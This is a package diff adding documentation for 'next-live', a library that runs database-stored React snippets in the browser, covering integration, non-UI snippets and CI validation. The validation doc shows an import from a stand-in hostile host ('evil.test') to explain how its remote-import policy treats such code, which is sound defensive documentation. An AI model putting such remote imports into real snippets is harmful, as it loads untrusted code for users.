next-live 0.1.0

package/docs/08-integration-guide.md

@@ -0,0 +1,340 @@
+# Integration guide: apps stored in a database
+
+[← Troubleshooting](./07-troubleshooting.md) · [Docs index](./README.md)
+
+An end-to-end walkthrough of the pattern `next-live` was built for: a control
+panel where staff author apps, whose source is stored in a database and executed
+in the browser when a user opens one.
+
+Everything here is generic, substitute your own store, UI kit, and data layer.
+
+## What we are building
+
+```
+Control panel  ──writes──▶  database  ──serves──▶  /api/apps/[id]
+                                                        │
+                                                        ▼
+                                              /apps/[id]  ──▶  <LiveProvider>
+                                                                    │
+                                                       compiles in the browser
+                                                                    │
+                                                                    ▼
+                                                           the running app
+```
+
+## Step 1: Install
+
+```bash
+npm install next-live
+```
+
+## Step 2: Decide your SDK surface first
+
+Do this before writing any code. Whatever you expose becomes a public contract
+with your authors, you cannot rename it later without breaking stored apps.
+
+Pick a handful of stable namespaces:
+
+| Specifier | Contains |
+|---|---|
+| `@app/store` | Your application state |
+| `@app/ui` | Buttons, inputs, layout primitives |
+| `@app/data` | Fetch helpers scoped to the signed-in user |
+| `@app/format` | Dates, currency, units |
+
+Create one directory holding exactly these, each a **thin re-export** of the real
+implementation. That way the implementations stay free to move:
+
+```
+lib/live-sdk/
+  index.ts          # composes the registry
+  vendor.ts         # third-party packages
+  generated.ts      # globs ./modules
+  modules/          # ← the SDK surface, one file per namespace
+    store.ts
+    ui.ts
+    data.ts
+    format.ts
+```
+
+```ts
+// lib/live-sdk/modules/store.ts
+export { useAppStore, addItem, clearCart } from '@/lib/store';
+```
+
+```ts
+// lib/live-sdk/modules/ui.ts
+export { Button, Card, Stack } from '@/components/ui';
+```
+
+## Step 3: Generate the registry from that directory
+
+```ts
+// lib/live-sdk/generated.ts
+import { registryFromGlob } from 'next-live';
+import type { ModuleRegistry } from 'next-live';
+
+export const generatedModules: ModuleRegistry = registryFromGlob(
+  // Must be at or below this file's own directory - a '../' pattern silently
+  // matches nothing under Turbopack.
+  import.meta.glob('./modules/*.ts'),
+  (path) => {
+    const name = path.split('/').pop()?.replace(/\.tsx?$/, '');
+    return name ? `@app/${name}` : null;
+  },
+);
+```
+
+Add a file to `modules/` and it becomes importable by snippets - lazily, with no
+edit here. This file never grows.
+
+## Step 4: Register third-party packages as loaders
+
+```ts
+// lib/live-sdk/vendor.ts
+import { defineLoader } from 'next-live';
+import type { ModuleRegistry } from 'next-live';
+
+export const vendorModules: ModuleRegistry = {
+  'date-fns': defineLoader(() => import('date-fns')),
+  'my-charts': defineLoader(() => import('my-charts')),
+
+  // A key ending in '/' claims a whole subtree and receives the full specifier.
+  'big-lib/': defineLoader((specifier) =>
+    import(`big-lib/${specifier.slice('big-lib/'.length)}`),
+  ),
+};
+```
+
+Loaders, never values - a value ends up in your page bundle for every visitor.
+If your app already imports the package for its own use, the loader costs
+nothing extra; it hands over the module that is already loaded.
+
+## Step 5: Compose
+
+```ts
+// lib/live-sdk/index.ts
+import { createRegistry } from 'next-live';
+import { vendorModules } from './vendor';
+import { generatedModules } from './generated';
+
+export const liveModules = createRegistry(vendorModules, generatedModules);
+```
+
+## Step 6: Serve the source from your API
+
+```ts
+// app/api/apps/[id]/route.ts
+import { NextResponse } from 'next/server';
+import { getApp } from '@/lib/apps';
+
+export async function GET(
+  _request: Request,
+  context: { params: Promise<{ id: string }> },
+) {
+  const { id } = await context.params;
+
+  // Authorise the read the same way you authorise any other resource.
+  const app = await getApp(id);
+  if (!app) return NextResponse.json({ error: 'Not found' }, { status: 404 });
+
+  return NextResponse.json({ id: app.id, name: app.name, source: app.source });
+}
+```
+
+**Snippet source must only ever come from here** - never from a query parameter,
+hash fragment, or `localStorage`. See [Security](./05-security.md).
+
+## Step 7: The runner component
+
+```tsx
+// app/apps/[id]/Runner.tsx
+'use client';
+
+import { useEffect, useState } from 'react';
+import { LiveProvider, LivePreview, LiveError } from 'next-live';
+import { liveModules } from '@/lib/live-sdk';
+import { useCurrentUser } from '@/lib/auth';
+
+export function Runner({ id }: { id: string }) {
+  const [source, setSource] = useState<string | null>(null);
+  const [failed, setFailed] = useState(false);
+  const user = useCurrentUser();
+
+  useEffect(() => {
+    const controller = new AbortController();
+    setFailed(false);
+
+    fetch(`/api/apps/${id}`, { signal: controller.signal })
+      .then((r) => (r.ok ? r.json() : Promise.reject(new Error(String(r.status)))))
+      .then((data: { source: string }) => setSource(data.source))
+      .catch(() => {
+        if (!controller.signal.aborted) setFailed(true);
+      });
+
+    return () => controller.abort();
+  }, [id]);
+
+  if (failed) return <p>This app could not be loaded.</p>;
+  if (source === null) return <AppSkeleton />;
+
+  return (
+    <LiveProvider
+      code={source}
+      modules={liveModules}
+      props={{ user }}
+      filePath={`${id}.tsx`}
+      fallback={<AppSkeleton />}
+      onError={(error) => reportToMonitoring(error, { appId: id })}
+    >
+      <LivePreview />
+      <LiveError />
+    </LiveProvider>
+  );
+}
+```
+
+Three details worth copying:
+
+- **`filePath`** gives stack traces and DevTools a stable, identifiable name.
+- **`fallback`** should be the same skeleton you use while fetching, so there is
+  no layout shift when compiling starts.
+- **`onError`** is where you find out that an app your staff published is broken
+  in production. Wire it to your monitoring.
+
+## Step 8: The page
+
+```tsx
+// app/apps/[id]/page.tsx
+import { Runner } from './Runner';
+
+export default async function AppPage({
+  params,
+}: {
+  params: Promise<{ id: string }>;
+}) {
+  const { id } = await params;
+  return <Runner id={id} />;
+}
+```
+
+A Server Component can import and render the runner directly - `next-live`
+components carry `'use client'` themselves.
+
+## Step 9: CSP
+
+```ts
+// proxy.ts
+const RUNNER_ROUTES = ['/apps'];   // add '/playground' too if you have a lab route
+```
+
+Full file in [Security](./05-security.md#3-scope-unsafe-eval-to-the-routes-that-run-snippets).
+**Do not skip this** - without `'unsafe-eval'` on your runner routes, nothing
+runs in production, and you want the directive confined to those routes.
+
+## Step 10: The editor side
+
+Your control panel needs the editor rather than just the preview:
+
+```tsx
+'use client';
+
+import { useState } from 'react';
+import { LiveProvider, LivePreview, LiveError } from 'next-live';
+import { LiveEditor } from 'next-live/editor';
+import { liveModules } from '@/lib/live-sdk';
+
+export function AppEditor({ initialSource, onSave }: {
+  initialSource: string;
+  onSave: (source: string) => Promise<void>;
+}) {
+  const [source, setSource] = useState(initialSource);
+
+  return (
+    <LiveProvider
+      code={source}
+      modules={liveModules}
+      onCodeChange={setSource}
+    >
+      <div className="grid gap-4 lg:grid-cols-2">
+        <LiveEditor />
+        <div>
+          <LivePreview />
+          <LiveError />
+        </div>
+      </div>
+      <button onClick={() => onSave(source)}>Save</button>
+    </LiveProvider>
+  );
+}
+```
+
+Remember that saving is equivalent to deploying: authorise the write endpoint
+strictly, and keep an audit trail and version history.
+
+## Step 11: Optional: precompile on the server
+
+If the same apps are opened repeatedly, transpile once and cache by content
+hash. The browser then never downloads the transpiler:
+
+```ts
+import { precompile } from 'next-live/server';
+
+const result = precompile(app.source, { filePath: `${app.id}.tsx` });
+// cache by result.hash, return result.code
+```
+
+```tsx
+import { precompiledTransform } from 'next-live';
+
+// Only while code === the source that was precompiled:
+<LiveProvider code={source} transform={precompiledTransform(compiled)} />
+```
+
+When the author edits the snippet, `precompiledTransform` still returns the
+old server output - drop `transform` (or re-fetch with the new source) as soon
+as `code` diverges from the catalog version.
+
+## Pre-launch checklist
+
+- [ ] Snippet source comes only from your authenticated API.
+- [ ] The write endpoint is authorised, audited, and versioned.
+- [ ] `'unsafe-eval'` is scoped to runner routes in `proxy.ts`.
+- [ ] `connect-src` is as narrow as your apps allow.
+- [ ] `onError` reports to monitoring.
+- [ ] `fallback` matches your loading skeleton.
+- [ ] `npm ls react` shows exactly one version.
+- [ ] Every registry entry is a loader, not a value.
+- [ ] CI validates every stored snippet against the registry
+      ([Validating in CI](./10-validating-in-ci.md)).
+- [ ] An author-facing note explains that TypeScript types are stripped, not
+      checked.
+
+## A worked example
+
+`apps/playground` in this repository implements the full pattern in two routes:
+
+| Route | Purpose |
+|---|---|
+| **`/apps`** | Production-shaped shell - header, sidebar tabs, `LivePreview` only. Source fetched from `/api/shell-apps/[id]`. Demos React hooks (`useEffect`), `@app/ui` (shadcn/Tailwind via registry), `@app/format`, and `@app/store`. |
+| **`/playground`** | Developer lab - editor, precompile toggle, localStorage save, and pedagogical panels. Source from `/api/apps/[id]`. |
+
+Both share the same composed lazy registry (`lib/live-sdk`), scoped CSP
+(`RUNNER_ROUTES = ['/playground', '/apps', '/docs']`), and CI validation
+(`npm run validate:apps`).
+
+```bash
+npm install
+npm run dev
+# http://localhost:3000/apps       : shell demo (what users see)
+# http://localhost:3000/playground   : lab (editor + experiments)
+```
+
+Registry modules live in `lib/live-sdk/modules/` - one thin re-export per
+namespace (`store.ts`, `ui.ts`, `format.ts`). CI keys are derived from that
+directory in Node (`lib/live-sdk/module-keys.ts`) so renames fail the build
+without hand-maintaining a key list.
+
+---
+
+[← Troubleshooting](./07-troubleshooting.md) · [Docs index](./README.md)

package/docs/09-non-ui-snippets.md

@@ -0,0 +1,124 @@
+# Snippets that are not components
+
+[← Integration guide](./08-integration-guide.md) · [Docs index](./README.md) · [Validating in CI →](./10-validating-in-ci.md)
+
+Not everything worth storing as editable code renders something. A control
+panel accumulates validators, data transformers, calculated fields, pricing
+rules, config builders, plain modules with no UI at all.
+
+`useLiveModule` runs those and hands back their exports.
+
+## The difference
+
+```ts
+compile(...)        // insists on a component; throws NoComponentError otherwise
+compileModule(...)  // returns whatever the snippet exported
+```
+
+```tsx
+'use client';
+
+import { useLiveModule } from 'next-live';
+
+export function RulePreview({ source, input }: { source: string; input: number }) {
+  const { exports, error, isCompiling } = useLiveModule({ code: source });
+
+  if (error) return <p role="alert">{error.message}</p>;
+  if (!exports) return <p>{isCompiling ? 'Compiling…' : null}</p>;
+
+  const validate = exports.validate as ((n: number) => boolean) | undefined;
+  return <p>{validate?.(input) ? 'valid' : 'invalid'}</p>;
+}
+```
+
+The snippet is an ordinary module:
+
+```ts
+import { taxRate } from '@app/config';
+
+export function validate(amount: number) {
+  return amount > 0 && amount < 10_000;
+}
+
+export function total(amount: number) {
+  return amount * (1 + taxRate);
+}
+
+export const schema = { type: 'number', minimum: 0 };
+```
+
+## Typing the exports
+
+Pass a type parameter so consumers are not stuck with `unknown`:
+
+```ts
+interface PricingRule {
+  validate: (amount: number) => boolean;
+  total: (amount: number) => number;
+  schema: Record<string, unknown>;
+}
+
+const { exports } = useLiveModule<PricingRule>({ code: source });
+exports?.total(100);
+```
+
+This is a **claim, not a check** - Sucrase strips types without verifying them,
+so nothing guarantees the snippet actually matches. Validate the shape at
+runtime before trusting it:
+
+```ts
+if (typeof exports?.total !== 'function') {
+  throw new Error('This rule must export a `total` function.');
+}
+```
+
+## Outside React
+
+`compileModule` has no React dependency of its own and can be called directly:
+
+```ts
+import { compileModule } from 'next-live';
+
+const { exports } = await compileModule({
+  code: rule.source,
+  modules: { '@app/config': config },
+});
+```
+
+It still evaluates in the current realm, so the usual rule applies: only run
+code whose author you trust. See [Security](./05-security.md).
+
+## What it shares with `useLiveRunner`
+
+Both hooks sit on the same scheduler, so their behaviour is identical in every
+respect that matters:
+
+- Nothing is evaluated during the server pass; `exports` is `null` on the
+  server and on the client's first render, so hydration cannot mismatch.
+- Changes are debounced, and a superseded compile never commits its result.
+- A failed recompile keeps the last good `exports` (`keepLastGood`, default on).
+- `compileId` increments on every successful run.
+- `onCompileSuccess` fires after each successful run with sorted `imports` and
+  `durationMs`.
+
+The playground's **API script** tab (`/playground`) fetches non-UI source from
+an API route and runs it with `useLiveModule` against `@app/store`.
+
+The one thing it does **not** share: there is no render-loop breaker, because
+nothing is being rendered. A snippet that loops inside an exported function
+will hang the tab exactly as any other synchronous loop would.
+
+## Choosing between them
+
+| Use | When |
+|---|---|
+| `useLiveRunner` / `<LiveProvider>` | The snippet renders UI |
+| `useLiveModule` | The snippet exports functions, values, or config |
+
+A snippet can do both - export a component *and* helpers. `useLiveRunner` picks
+the component; `useLiveModule` gives you everything, including the component
+under `exports.default`.
+
+---
+
+[← Integration guide](./08-integration-guide.md) · [Docs index](./README.md) · [Validating in CI →](./10-validating-in-ci.md)

package/docs/10-validating-in-ci.md

@@ -0,0 +1,192 @@
+# Validating stored snippets in CI
+
+[← Non-UI snippets](./09-non-ui-snippets.md) · [Docs index](./README.md)
+
+## The problem
+
+Your snippets live in a database, not in your repository. So when you rename
+something in your SDK -
+
+```ts
+// lib/live-sdk/modules/store.ts
+- export { useCart } from '@/lib/store';
++ export { useBasket } from '@/lib/store';
+```
+
+- every stored app importing `useCart` breaks. Nothing fails at build time. The
+tests pass. The failure surfaces days later, for whoever opens that app next.
+
+The more apps you have, the worse this gets, and the less anyone wants to
+refactor the SDK at all.
+
+## The fix
+
+`validateSnippets` compiles every stored snippet and checks its imports against
+your registry. Run it in CI and the rename fails the build instead.
+
+```ts
+// scripts/validate-apps.ts
+import { validateSnippets } from 'next-live/server';
+import { getAllApps } from '../lib/db';
+import { LIVE_MODULE_KEYS } from '../lib/live-sdk/module-keys';
+
+const apps = await getAllApps();          // [{ id, source }, …]
+const failures = validateSnippets(apps, { modules: [...LIVE_MODULE_KEYS] });
+
+if (failures.length === 0) {
+  console.log(`✓ all ${apps.length} stored apps validate`);
+  process.exit(0);
+}
+
+console.error(`✗ ${failures.length} of ${apps.length} stored apps are broken:\n`);
+for (const { id, result } of failures) {
+  for (const issue of result.issues) {
+    const where = issue.line ? ` (line ${issue.line})` : '';
+    console.error(`  ${id}${where}: ${issue.message}`);
+  }
+}
+process.exit(1);
+```
+
+Output when someone renames a module:
+
+```
+✗ 1 of 6 stored apps are broken:
+
+  store: Module '@app/store' is not registered. Did you mean '@app/cart'?
+```
+
+```yaml
+# .github/workflows/ci.yml
+- run: npm run validate:apps
+```
+
+A working version is in `apps/playground/scripts/validate-apps.ts`. It validates
+both the lab catalogue (`lib/apps.ts`) and the shell catalogue
+(`lib/shell-apps.ts`), plus a non-UI API script.
+
+### Keeping the key list honest
+
+Do not hand-maintain registry keys. Derive `@app/*` keys from your
+`modules/` directory in Node (the playground uses `readdirSync` in
+`lib/live-sdk/module-keys.ts` because `import.meta.glob` cannot run in a CI
+script). Add a drift check that compares keys on disk to `LIVE_MODULE_KEYS`:
+
+```bash
+npm run validate:apps:test -w playground
+```
+
+## What it checks, and what it does not
+
+**Checks:**
+
+- The snippet parses and transpiles - syntax and TypeScript-syntax errors, with
+  a line and column.
+- Every import resolves against your registry, honouring built-ins
+  (`react`, the JSX runtimes), prefix entries (`big-lib/`), and ignored asset
+  imports.
+- Unresolved specifiers come with a "did you mean" suggestion.
+- Optional policy flags (all opt-in): `maxSourceBytes`, `forbidNodeBuiltins`,
+  `forbidRemoteImports`, `denySpecifiers`. See
+  [API reference: validateSnippet](./06-api-reference.md#validatesnippetsource-options).
+
+**Does not check:**
+
+- **Runtime behaviour.** Nothing is evaluated, so a snippet that throws on
+  render still passes. That is deliberate - see below.
+- **Types.** Sucrase strips them without verifying them, here as everywhere.
+- **Named exports within a module.** It confirms `@app/store` is registered,
+  not that `useCart` still exists inside it. To catch that, run your own
+  `tsc` over the SDK re-export files, which is where the truth lives.
+- **Subpath walking** (`resolveSubpaths`), which needs the registry's actual
+  values rather than its keys.
+- **Imports whose binding is never used.** Sucrase elides them, on the
+  assumption that an unused import was a type import. See below - this is not
+  the hole it looks like.
+
+### Unused imports report clean, and that is correct
+
+An import nobody references does not appear in `imports`, and no policy flag
+fires on it:
+
+```ts
+// Reported as ok, with imports: []
+import evil from 'https://evil.test/x.js';
+export default function App() { return null; }
+```
+
+That is not validation missing something. The same Sucrase pass runs in the
+browser, so the specifier is stripped from the compiled output too - the module
+is never requested at runtime. Validation and execution agree; there is nothing
+to catch because nothing happens.
+
+Use the binding and both react as you would expect:
+
+```ts
+// ok: false - forbidden-import -> https://evil.test/x.js
+import evil from 'https://evil.test/x.js';
+export default function App() { return evil; }
+```
+
+## Why it never evaluates
+
+Validation is pure static analysis, which buys three things:
+
+1. **Safe on untrusted content.** CI can validate a snippet a user submitted
+   without running it.
+2. **No DOM, no React, no browser.** It works in a plain Node script or a Route
+   Handler.
+3. **No side effects.** A snippet that writes to a database at module scope will
+   not do so during validation.
+
+The test suite pins this: a snippet that sets a global at module scope validates
+successfully *and* leaves the global untouched.
+
+## Keys, not the registry
+
+Pass the registry keys rather than the registry itself:
+
+```ts
+validateSnippets(apps, { modules: ['@app/store', 'big-lib/'] });
+```
+
+The real registry is full of bundler-specific dynamic imports and is awkward to
+load in a plain Node script. `validateSnippet` accepts a registry object too,
+if yours is simple enough to import.
+
+To keep the list honest, derive it from the filesystem rather than maintaining
+a parallel list:
+
+```ts
+// lib/live-sdk/module-keys.ts - Node-safe, no import.meta.glob
+import { readdirSync } from 'node:fs';
+import { vendorModules } from './vendor';
+
+const appKeys = readdirSync('./modules')
+  .filter((f) => /\.tsx?$/.test(f))
+  .map((f) => `@app/${f.replace(/\.tsx?$/, '')}`);
+
+export const LIVE_MODULE_KEYS = [...Object.keys(vendorModules), ...appKeys];
+```
+
+Do **not** re-export `LIVE_MODULE_KEYS` from the client registry barrel - it
+pulls `node:fs` into the browser bundle.
+
+## Validate on write, too
+
+The same function is useful in your control panel's save endpoint, so a broken
+app never reaches the database in the first place:
+
+```ts
+const result = validateSnippet(source, { modules: MODULE_KEYS });
+if (!result.ok) {
+  return Response.json({ errors: result.issues }, { status: 422 });
+}
+```
+
+CI then catches the other direction - apps that were fine when saved and broke
+when the SDK changed underneath them.
+
+---
+
+[← Non-UI snippets](./09-non-ui-snippets.md) · [Docs index](./README.md)